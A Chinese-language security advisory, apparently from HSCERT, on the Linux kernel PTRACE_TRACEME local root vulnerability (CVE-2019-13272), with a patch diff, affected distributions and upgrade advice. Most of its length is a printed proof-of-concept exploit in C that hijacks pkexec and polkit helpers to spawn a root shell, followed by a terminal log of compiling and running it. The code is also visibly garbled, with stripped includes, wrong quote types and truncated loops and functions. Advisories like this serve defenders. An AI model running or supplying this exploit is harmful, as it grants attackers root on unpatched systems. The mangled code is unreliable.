漏洞描述
近日,HSCERT监测发现Linux修复了一个本地内核提权漏洞,利用此漏洞,攻击者可将普通用户权限提升为Root权限。
HSCERT研判此漏洞为严重漏洞,攻击者拿到本地权限可以直接提权至root。
漏洞分析
当调用PTRACE_TRACEME时,ptrace_link()将获得对父级目标凭据的RCU引用,然后把该指针指向get_cred()函数。但是,对象struct cred的生存周期不允许无条件地将RCU引用转换为一个长期稳定的引用。
PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。
但是,如果是恶意的没有特权的子进程使用PTRACE_TRACEME,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程,可以使用ptrace suid文件并获取root权限。
下面是补丁对比代码,通过一直记录进程的凭据可以修复这个漏洞:@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct * child,struct task_struct * new_parent, * /static void ptrace_link(struct task_struct * child,struct task_struct * new_parent){ - rcu_read_lock(); - __ptrace_link(child,new_parent,__ task_cred(new_parent)); - rcu_read_unlock(); + __ptrace_link(child,new_parent,current_cred());}/ * *
验证poc如下,可用于自检:#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DEBUG#ifdef DEBUG# define dprintf printf#else# define dprintf#endif#define SAFE(expr) ({ \ typeof(expr) __res = (expr); \ if (__res == -1) { \ dprintf("[-] Error: %s\n", #expr); \ return 0; \ } \ __res; \})#define max(a,b) ((a)>(b) ? (a) : (b))static const char *SHELL = "/bin/bash";static int middle_success = 1;static int block_pipe[2];static int self_fd = -1;static int dummy_status;static const char *helper_path;static const char *pkexec_path = "/usr/bin/pkexec";static const char *pkaction_path = "/usr/bin/pkaction";struct stat st;const char *helpers[1024];const char *known_helpers[] = { "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", "/usr/lib/unity-settings-daemon/usd-backlight-helper", "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", "/usr/sbin/mate-power-backlight-helper", "/usr/bin/xfpm-power-backlight-helper", "/usr/bin/lxqt-backlight_backend", "/usr/libexec/gsd-wacom-led-helper", "/usr/libexec/gsd-wacom-oled-helper", "/usr/libexec/gsd-backlight-helper", "/usr/lib/gsd-backlight-helper", "/usr/lib/gsd-wacom-led-helper", "/usr/lib/gsd-wacom-oled-helper",};/* temporary printf; returned pointer is valid until next tprintf */static char *tprintf(char *fmt, ...) { static char buf[10000]; va_list ap; va_start(ap, fmt); vsprintf(buf, fmt, ap); va_end(ap); return buf;}/* * fork, execute pkexec in parent, force parent to trace our child process, * execute suid executable (pkexec) in child. */static int middle_main(void *dummy) { prctl(PR_SET_PDEATHSIG, SIGKILL); pid_t middle = getpid(); self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); pid_t child = SAFE(fork()); if (child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL); SAFE(dup2(self_fd, 42)); /* spin until our parent becomes privileged (have to be fast here) */ int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); while (1) { char buf[1000]; ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); buf[buflen] = "\0"; if (strstr(buf, needle)) break; } /* * this is where the bug is triggered. * while our parent is in the middle of pkexec, we force it to become our * tracer, with pkexec"s creds as ptracer_cred. */ SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); /* * now we execute a suid executable (pkexec). * Because the ptrace relationship is considered to be privileged, * this is a proper suid execution despite the attached tracer, * not a degraded one. * at the end of execve(), this process receives a SIGTRAP from ptrace. */ execl(pkexec_path, basename(pkexec_path), NULL); dprintf("[-] execl: Executing suid executable failed"); exit(EXIT_FAILURE); } SAFE(dup2(self_fd, 0)); SAFE(dup2(block_pipe[1], 1)); /* execute pkexec as current user */ struct passwd *pw = getpwuid(getuid()); if (pw == NULL) { dprintf("[-] getpwuid: Failed to retrieve username"); exit(EXIT_FAILURE); } middle_success = 1; execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, helper_path, "--help", NULL); middle_success = 0; dprintf("[-] execl: Executing pkexec failed"); exit(EXIT_FAILURE);}/* ptrace pid and wait for signal */static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { struct user_regs_struct regs; struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); /* set up indirect arguments */ unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; struct injected_page { unsigned long argv[2]; unsigned long envv[1]; char arg0[8]; char path[1]; } ipage = { .argv = { scratch_area + offsetof(struct injected_page, arg0) } }; strcpy(ipage.arg0, arg0); for (int i = 0; i long *)&ipage)[i]; SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata)); } /* execveat(exec_fd, path, argv, envv, flags) */ regs.orig_rax = __NR_execveat; regs.rdi = exec_fd; regs.rsi = scratch_area + offsetof(struct injected_page, path); regs.rdx = scratch_area + offsetof(struct injected_page, argv); regs.r10 = scratch_area + offsetof(struct injected_page, envv); regs.r8 = AT_EMPTY_PATH; SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0));}static int middle_stage2(void) { /* our child is hanging in signal delivery from execve()"s SIGTRAP */ pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); force_exec_and_wait(child, 42, "stage3"); return 0;}// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *static int spawn_shell(void) { SAFE(setresgid(0, 0, 0)); SAFE(setresuid(0, 0, 0)); execlp(SHELL, basename(SHELL), NULL); dprintf("[-] execlp: Executing shell %s failed", SHELL); exit(EXIT_FAILURE);}// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *static int check_env(void) { const char* xdg_session = getenv("XDG_SESSION_ID"); dprintf("[.] Checking environment ...\n"); if (stat(pkexec_path, &st) != 0) { dprintf("[-] Could not find pkexec executable at %s", pkexec_path); exit(EXIT_FAILURE); } if (stat(pkaction_path, &st) != 0) { dprintf("[-] Could not find pkaction executable at %s", pkaction_path); exit(EXIT_FAILURE); } if (xdg_session == NULL) { dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); return 1; } if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { dprintf("[!] Warning: Could not find active PolKit agent\n"); return 1; } if (stat("/usr/sbin/getsebool", &st) == 0) { if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); return 1; } } dprintf("[~] Done, looks good\n"); return 0;}/* * Use pkaction to search PolKit policy actions for viable helper executables. * Check each action for allow_active=yes, extract the associated helper path, * and check the helper path exists. */int find_helpers() { char cmd[1024]; snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); FILE *fp; fp = popen(cmd, "r"); if (fp == NULL) { dprintf("[-] Failed to run: %s\n", cmd); exit(EXIT_FAILURE); } char line[1024]; char buffer[2048]; int helper_index = 0; int useful_action = 0; static const char *needle = "org.freedesktop.policykit.exec.path -> "; int needle_length = strlen(needle); while (fgets(line, sizeof(line)-1, fp) != NULL) { /* check the action uses allow_active=yes*/ if (strstr(line, "implicit active:")) { if (strstr(line, "yes")) { useful_action = 1; } continue; } if (useful_action == 0) continue; useful_action = 0; /* extract the helper path */ int length = strlen(line); char* found = memmem(&line[0], length, needle, needle_length); if (found == NULL) continue; memset(buffer, 0, sizeof(buffer)); for (int i = 0; found[needle_length + i] != "\n"; i++) { if (i >= sizeof(buffer)-1) continue; buffer[i] = found[needle_length + i]; } if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || strstr(&buffer[0], "/cpugovctl") != 0 || strstr(&buffer[0], "/package-system-locked") != 0 || strstr(&buffer[0], "/cddistupgrader") != 0) { dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); continue; } /* check the path exists */ if (stat(&buffer[0], &st) != 0) continue; helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); helper_index++; if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) break; } pclose(fp); return 0;}// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *int ptrace_traceme_root() { dprintf("[.] Using helper: %s\n", helper_path); /* * set up a pipe such that the next write to it will block: packet mode, * limited to one packet */ SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); char dummy = 0; SAFE(write(block_pipe[1], &dummy, 1)); /* spawn pkexec in a child, and continue here once our child is in execve() */ dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); static char middle_stack[1024*1024]; pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); if (!middle_success) return 1; /* * wait for our child to go through both execve() calls (first pkexec, then * the executable permitted by polkit policy). */ while (1) { int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); char buf[16]; int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); buf[buflen] = "\0"; *strchrnul(buf, "\n") = "\0"; if (strncmp(buf, basename(helper_path), 15) == 0) break; usleep(100000); } /* * our child should have gone through both the privileged execve() and the * following execve() here */ dprintf("[.] Tracing midpid ...\n"); SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); SAFE(waitpid(midpid, &dummy_status, 0)); dprintf("[~] Attached to midpid\n"); force_exec_and_wait(midpid, 0, "stage2"); exit(EXIT_SUCCESS);}int main(int argc, char **argv) { if (strcmp(argv[0], "stage2") == 0) return middle_stage2(); if (strcmp(argv[0], "stage3") == 0) return spawn_shell(); dprintf("Linux 4.10 1 && strcmp(argv[1], "check") == 0) { exit(0); } /* Search for known helpers defined in "known_helpers" array */ dprintf("[.] Searching for known helpers ...\n"); for (int i=0; i
漏洞复现:╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ iduid=1000(birdpwn) gid=1000(birdpwn) groups=1000(birdpwn)╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ gcc -s poc.c -o ptrace_traceme_root 1 ↵╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ ls poc.c ptrace_traceme_root╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ ./ptrace_traceme_rootLinux 4.10
漏洞危害
严重
影响版本
目前受影响的Linux内核版本:
Linux Kernel < 5.1.17
以下产品均受到影响:
Ubuntu 16.04.5 kernel 4.15.0-29-generic
Ubuntu 18.04.1 kernel 4.15.0-20-generic
Ubuntu 19.04 kernel 5.0.0-15-generic
Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
Linux Mint 19 kernel 4.15.0-20-generic
Xubuntu 16.04.4 kernel 4.13.0-36-generic
ElementaryOS 0.4.1 4.8.0-52-generic
Backbox 6 kernel 4.18.0-21-generic
Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
Kali kernel 4.19.0-kali5-amd64
Redcore 1806 (LXQT) kernel 4.16.16-redcore
MX 18.3 kernel 4.19.37-2~mx17+1
RHEL 8.0 kernel 4.18.0-80.el8.x86_64
Debian 9.4.0 kernel 4.9.0-6-amd64
Debian 10.0.0 kernel 4.19.0-5-amd64
Devuan 2.0.0 kernel 4.9.0-6-amd64
SparkyLinux 5.8 kernel 4.19.0-5-amd64
Fedora Workstation 30 kernel 5.0.9.x86_64
Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
Mageia 6 kernel 4.9.35-desktop-1.mga6
Antergos 18.7 kernel 4.17.6-1-ARCH
安全建议
请尽快升级Linux内核至5.1.17以上版本
补丁链接:
https://github.com/torvalds/linux/commit/6994eefb0053799d2e07cd140df6c2ea106c41ee
参考信息
https://github.com/rapid7/metasploit-framework/issues/12104
https://security-tracker.debian.org/tracker/CVE-2019-13272
https://twitter.com/hashtag/0day
https://access.redhat.com/security/cve/cve-2019-13272
如需帮助请咨询 hscert@hillstonenet.com